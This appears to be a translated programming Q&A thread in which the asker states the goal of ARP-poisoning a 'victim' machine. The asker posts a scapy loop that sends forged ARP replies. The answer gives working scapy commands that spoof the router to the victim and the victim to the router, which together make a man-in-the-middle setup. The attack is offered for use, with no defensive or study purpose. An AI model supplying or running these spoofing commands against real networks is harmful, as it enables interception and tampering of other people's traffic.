Python 2.7 -scapy和ARP

时间:2015-09-23 01:48:50

标签: python-2.7 scapy arp

我正在尝试使用“ip is at macadress”选项,但无法确定如何执行此操作...这是我的代码atm:

from scapy.all import *
victim = "192.168.5.51"
spoof = "192.168.5.46"
op=2
mac = "88:00:2e:00:87:00"
while True:
    arp = ARP(op=op, psrc=spoof, pdst=victim, hwdst=mac)
    send(arp)

我正在寻找的是向受害者ip发送一个带有默认网关ip / mac的ARP数据包,然后向网关发送攻击者的ip / mac 攻击是arp中毒

1 个答案:

答案 0 :(得分:1)

有点不清楚你想要实现的目标,但如果你感兴趣的是创建一个 ARP 形式“192.168.5.51 的回复是 00:00:00:00:00:00“,其中所有其他字段的值都无关紧要,那么这就足够了:

send(ARP(op=ARP.is_at, psrc='192.168.5.51', hwsrc='00:00:00:00:00:00'))

修改

这会向受害者发送 ARP 回复数据包,并将本地机器伪装成路由器:

send(ARP(op=ARP.is_at, psrc=router_ip, hwdst=victim_mac, pdst=victim_ip))

这会向路由器发送 ARP 回复数据包,并将本地机器伪装成受害者:

send(ARP(op=ARP.is_at, psrc=victim_ip, hwdst=router_mac, pdst=router_ip))

在这两个数据包中,hwsrc字段默认填充本地计算机的 MAC 地址。